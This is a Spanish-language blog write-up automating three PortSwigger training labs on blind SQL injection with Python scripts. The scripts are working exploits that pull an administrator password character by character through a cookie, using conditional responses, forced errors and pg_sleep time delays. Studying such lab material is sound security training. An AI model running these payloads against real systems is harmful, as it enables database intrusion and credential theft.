Inyecciones SQL Blind de tipo CTF con Python 🧐

Hace unos días resolví los 210 laboratorios de PortSwigger (Web Security Academy), con la intención de convertir mis tiempos muertos en algo productivo, y a decir verdad, aprendí varias cosas, pero las más importantes son:

  1. Que cuando existe motivación, es posible conseguir objetivos extenuantes (me tomó cerca de 1 semana y media resolver todo) 🥊
  2. Sin proponermelo, logré identificar mis debilidades en ciertos tópicos, como por ejemplo, inyección de SQL manual 🥲
  3. Y claro, finalmente comprobé que los laboratorios de PortSwigger son un 90% o 95% focalizados en categoría de CTF, ya que si bien es cierto las fallas son reales, los contextos de explotación no lo son 👌

Referencias de Automatización en CTF

En Google encontré varios post en los que utilizaron Python para resolver desafíos CTF relacionados a la explotación de inyección SQL manual, y haciendo hincapié en eso, creo que es bueno hacer un rollback y tratar de resolver los laboratorios, otra vez, pero ahora programando para sacar la password del usuario administrador y tener listos mis scripts para cuando los necesite…

A continuación, las referencias más interesantes que me motivan a programar mis propios scripts:

  1. https://infosecwriteups.com/exploiting-second-order-blind-sql-injection-689e98f04daa
  2. https://0x00sec.org/t/taking-sql-injections-further-blind-second-order-sql-injection-tmhc-ctf-shitter-writeup/18122
  3. https://mvlt-akcm.medium.com/thm-sqhell-tr-manuel-a61289e001fe

Laboratorios de Inyección SQL Manual de tipo Blind

Los laboratorios que trataré de resolver automatizando la explotación con Python:

  1. Blind SQL injection with conditional responses
  2. Blind SQL injection with conditional errors
  3. Blind SQL injection with time delays and information retrieval

Herramientas para el scripting

  • Burp Suite. Lo usaré como proxy web y para debugging de los scripts
  • Python 3.x

Consideraciones

  • Los laboratorios de PortSwigger expiran cada N minutos, por lo que las URLs o HOST pueden variar
  • Yo ya resolví todos los laboratorios de PortSwigger, por lo tanto, me estoy saltando varios pasos con el objetivo de conseguir programar mis scripts, por lo tanto, para comprender el contexto, es necesario resolver o intentar resolver cada laboratorio antes de pasar a automatizar con Python u otro lenguaje

Debugging de Python con Burp Suite

Lo primero, establecer a Burp Suite como proxy para debugging de los scripts, ya que esto me servirá de base para resolver los 3 laboratorios (debugger.py):

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = "https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = requests.get(url=url,proxies=proxies,verify=False)
print(r.status_code)

Lista de caracteres en Python

El objetivo final de cada laboratorio, es extraer la contraseña del usuario administrador mediante la inyección ciega de SQL, y para ello se requiere de un diccionario, lista, tupla o set de caracteres: del 0 al 9, y de la a hasta la z, en minúsculas.

Estos laboratorios, a diferencia de otros CTF, no requieren caracteres especiales o el uso de mayúsculas y combinaciones, porque no se utilizan los conceptos de “flag{}” y otros factores.

En mi caso, usaré una lista[]:

characters = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]

Lab N°1: Blind SQL Injection with conditional responses (inyección ciega de SQL con respuestas condicionales)

Paso N°1: reproducción manual. Compruebo entonces que efectivamente no se obtiene la respuesta con el mensaje “Welcome back”, utilizando el payload SQL:

' AND '1'='2

Paso N°2: reproducir el request validando la existencia del mensaje “Welcome back”. Esto se puede hacer con módulos como Beautiful Soup y técnicas de web scrapping, pero yo prefiero seguir usando el mismo módulo requests, y recorrer línea a línea el response en formato de texto:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = {"Host": "acf21f8c1e16a0a8c0d21ba100b500e8.web-security-academy.net",
"Cookie": "TrackingId=zFl0CjSUBzhrIPD4' AND '1'='1; session=d0I511OIAMVhjq9GS252sNRFbXiCkhpu"}

url = "https://acf21f8c1e16a0a8c0d21ba100b500e8.web-security-academy.net"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)

for x in r.text.split("\n"):
    if "Welcome back!" in x:
        print("[+] Welcome back!")
        exit()

Paso N°3: contabilizar la cantidad de caracteres de la contraseña del usuario administrador (20):

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

for l in range(1,25):
    try:
        
        url = "https://acf21f8c1e16a0a8c0d21ba100b500e8.web-security-academy.net"
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
        headers = {"Host": "acf21f8c1e16a0a8c0d21ba100b500e8.web-security-academy.net",
        "Cookie": "TrackingId=zFl0CjSUBzhrIPD4' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>"+str(l)+")='a; session=d0I511OIAMVhjq9GS252sNRFbXiCkhpu"}
        r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)
        
        for x in r.text.split("\n"):
            if "Welcome back!" in x:
                 print("[+] Password length:",l+1,end="\r")
    except:
        print("An exception occurred")
        exit()

Paso N°4: programar el exploit final para verificar caracter por caracter hasta extraer completamente la contraseña del usuario administrador:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

characters = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
password = ""

for l in range(1,21):
    for c in characters:
        try:
            url = "https://acb71f7d1eda33cdc0b271ad007b000c.web-security-academy.net"
            proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
            headers = {"Host": "acb71f7d1eda33cdc0b271ad007b000c.web-security-academy.net",
            "Cookie": "TrackingId=4tZ0X9uWb0wkjTao' AND (SELECT SUBSTRING(password,"+str(l)+",1) FROM users WHERE username='administrator')='"+c+"; session=z8vY6PQ1DQgT1QU5hfj0gRHWkBJDhSsW"}
            r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)

            for x in r.text.split("\n"):
                if "Welcome back!" in x:
                    password += c
                    print("[+] Administrator password => "+password)

        except:
            print("An exception occurred")
            exit()

Lab N°2: Blind SQL injection with conditional errors (inyección ciega de SQL con errores condicionales)

Paso N°1: reproducción manual. Compruebo entonces que efectivamente al utilizar comillas simples como práctica conocida para identificar entry points, se produce un error de estado 500 (Internal Server Error):

'

Paso N°2: reproducir el request validando la existencia del mensaje “Internal Server Error”. No lo validaré usando el estado de respuesta (500), ya que en la vida real generalmente los estados de respuesta no siempre los configuran de forma exhaustiva, y porque ya tengo el script anterior que valida lo mismo, en base a un string:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = {"Host": "ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net",
"Cookie": "TrackingId=tJBcJEogHX20zKzn'; session=LPTE4K9tEV8b1xyeEBqLcH4loQfboIjt"}

url = "https://ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)

for x in r.text.split("\n"):
    if "Internal Server Error" in x:
        print("[+] Internal Server Error!")
        exit()

Paso N°3: contabilizar la cantidad de caracteres de la contraseña del usuario administrador (20):

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

for l in range(1,25):
    try:
        
        url = "https://ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net"
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
        headers = {"Host": "ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net",
        "Cookie": "TrackingId=tJBcJEogHX20zKzn'||(SELECT CASE WHEN LENGTH(password)>"+str(l)+" THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=LPTE4K9tEV8b1xyeEBqLcH4loQfboIjt"}
        r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)
        
        for x in r.text.split("\n"):
            if "Internal Server Error" in x:
                 print("[+] Password length:",l+1,end="\r")
    except:
        print("An exception occurred")
        exit()

Paso N°4: programar el exploit final para extraer la contraseña del administrador. En este punto, me percaté de que tenía la letra “x” duplicada en la lista[] de caracteres, y de que el script misteriosamente duplica los caracteres de la contraseña del administrador, mostrando en el output una contraseña de 40 caracteres, y no de 20…

Después de mirar el programita y corregir la “x” duplicada, mi teoría: como aparece 2 veces en el response el mismo mensaje de error, se duplica el caracter producto de esto. ¿Será? Entonces reviso los requests enviados a Burp Suite, y no hay requests duplicados, entonces para comprobar mi teoría reeemplazo el string del statement “Internal Server Error” por “<h4>Internal Server Error</h4>”…

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

characters = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
password = ""

for l in range(1,21):
    for c in characters:
        try:
            url = "https://ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net"
            proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
            headers = {"Host": "ac2a1fc41f7b9f30c0288f06007700b0.web-security-academy.net",
            "Cookie": "TrackingId=tJBcJEogHX20zKzn'||(SELECT CASE WHEN SUBSTR(password,"+str(l)+",1)='"+c+"' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=LPTE4K9tEV8b1xyeEBqLcH4loQfboIjt"}
            r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)

            for x in r.text.split("\n"):
                if "<h4>Internal Server Error</h4>" in x:
                    password += str(c)
                    print("[+] Administrator password => "+password)

        except:
            print("An exception occurred")
            exit()

Lab N°3: Blind SQL injection with time delays and information retrieval (inyección ciega de SQL con respuestas basados en tiempo y deducción de datos)

Paso N°1: reproducción manual. Compruebo que la respuesta demora 10 segundos con el siguiente payload (extremo inferior derecho de las capturas de Burp Suite: 425 millis y 10,473 millis respectivamente):

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

Paso N°2: reproducir el request validando el time delay del response. Adelantándome un poco, no creo conveniente esperar 10 segundos por cada caracter, así que reproduciré todo con un time delay de 3 segundos:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = {"Host": "acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net",
"Cookie": "TrackingId=JBJXvGIplT4nR89w'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--; session=uVH6yFt0c51UZM0c7pTjLDUAExIXJDRJ"}

url = "https://acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)
timedelay = str(r.elapsed.total_seconds())[0]

if int(timedelay) >= 3:
    print("Three seconds!")

Paso N°3: contabilizar la cantidad de caracteres de la contraseña del usuario administrador (20):

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

for l in range(1,25):
    try:
        
        url = "https://acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net"
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
        headers = {"Host": "acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net",
"Cookie": "TrackingId=JBJXvGIplT4nR89w'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>"+str(l)+")+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--; session=uVH6yFt0c51UZM0c7pTjLDUAExIXJDRJ"}
        r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)
        timedelay = str(r.elapsed.total_seconds())[0]

        if int(timedelay) >= 3:
            print("[+] Password length:",l+1,end="\r")
    
    except:
        print("An exception occurred")
        exit()

Paso N°4: programar el exploit final para extraer la contraseña del administrador; finalmente, utilizar 3 segundos o menos de 10 segundos para extraer las password no es satisfactorio, así que vuelvo a utilizar el factor de 10 segundos como filtro:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

characters = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
password = ""

for l in range(1,21):
    for c in characters:
        try:

            url = "https://acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net"
            proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
            headers = {"Host": "acda1f461edf6e8ac0737b1300ff0092.web-security-academy.net",
            "Cookie": "TrackingId=JBJXvGIplT4nR89w'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,"+str(l)+",1)='"+c+"')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; session=uVH6yFt0c51UZM0c7pTjLDUAExIXJDRJ"}
            r = requests.get(url=url,headers=headers,proxies=proxies,verify=False)
            timedelay = str(r.elapsed.total_seconds())[0:2]

            if "." in timedelay:
                pass
            else:
                password += c
                print("[+] Administrator password => "+password)

        except:
             print("An exception occurred")
             exit()

Conclusiones

  • Verificar siempre que la lista[] de caracteres esté bien escrita: caracteres de menos, de más o duplicados
  • En el caso de las inyecciones SQL blind basadas en error, es mucho mejor validar la respuesta utilizando strings y algún factor adicional como tag de HTML para evitar duplicados
  • Para las inyecciones de SQL blind basadas en time delay, es mejor utilizar un tiempo de respuesta alto, por lo que si bien es cierto 10 segundos puede paracer demasiado, en realidad no lo es.
  • La configuración exhaustiva de errores personalizados podría eventualmente dificultar la identificación y explotación de ataques basados en inyección de SQL
  • En un contexto real existen factores como por ejemplo un WAF, y obviamente las contraseñas no son almacenadas en texto claro…

Acerca de los Scripts con Python